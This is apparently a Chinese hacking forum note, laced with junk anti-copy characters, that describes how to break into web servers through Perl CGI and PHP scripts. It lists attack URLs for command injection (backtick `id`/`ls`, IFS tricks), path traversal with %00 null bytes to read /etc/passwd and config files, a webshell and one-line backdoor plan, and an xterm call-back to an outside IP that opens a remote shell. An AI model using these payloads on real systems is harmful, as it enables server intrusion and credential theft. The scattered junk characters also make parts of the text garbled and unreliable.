总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
F+ g2 F) E1 T# ~# icookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 8 V4 n5 }8 L4 W" F4 ]6 |0 [5 ^
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
k. v3 x0 Q' F注“
+ V* ^/ A# O" J6 l' fperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
; [; x C5 w$ |5 h. B& ^3 R以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
) `) z8 H/ ?+ O% H% h
m$ j5 `6 R6 W/ S* x9 Khttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
) c0 D, U% o: v+ j9 R/ ohttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 $ Q- m0 \( l4 e. ^
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 # n' R2 c8 w! ^; }' R8 E
http://target.com/cgi-bin/home/news/sub.pl?`id`
X0 q+ Q2 X' |6 Z4 n" z3 Lhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
3 \1 p0 v6 _9 x' ^http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 4 p' v/ W, e0 W# O
5 h' o8 ^" G) X! {0 e2 `7 G' thttp://target.com/test.pl;ls| & W* C: P9 z& V0 q4 {" f
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 0 z' W2 f9 C1 {% v4 u
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
3 \9 f8 |8 ~& v3 E; F6 Yhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 . A2 h7 l- C" s) |
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
6 R& p$ u+ d0 W* a. ~' R' hhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
& U* [2 t2 I0 B) j! b0 u b4 r( K4 B, X, K
http://target.com/test.pl?&........ /../../etc/passwd
6 `' N1 `9 u1 p* J% U! i# `* X) o8 S
% B5 E8 ~% Y. M/ v: M) _% m; Qhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
6 C/ h- t" M; t* ~' o0 l* k8 Bhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 ) h" ?+ U' x; N3 h% }
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 & F" Y& Q7 l! m: J$ Q
0 L! B% i! p" W1 xhttp://www.target.org/show.php?f ... /include/config.php 查看php代码 6 [# d, @' W( i, c) d! J
http://www.target.org/show.php?f ... ng/admin/global.php
+ S0 v& ^* w) ~9 a" w7 j( P' Y4 D4 U x4 g u' F
emm和ps的一句话
1 J+ [1 ?1 Y6 j* u
- q( | j* n. K4 k1 _& j9 p \; G: ~) Mhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
) e7 q. U( k+ f! _" N' m- ?- X, T1 v- ]8 Z8 k1 p* F
>bbb%20|
( n1 X$ i$ x( S) s
( _* t9 a" [" w6 C, Shttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 3 N( Q% F- ~4 `2 \( Q
# m6 b$ W5 a& k/ q+ ehttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 * c! m: X) x6 ~ }$ Q) x- I6 X: j2 |
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 5 D& m2 w- [/ n
6 r" b4 O0 E' ^# X: f
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
* P' C, V: i; Ohttp://target.com/index.html#cmd.exe
: O9 d5 v C& V8 z% Shttp://target.com/index.html?dummyparam=xp_cmdshell 2 ]) s6 u1 V y1 V/ j" K# z1 u
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 1 t( H( @$ M: S9 C. z- A6 ~
|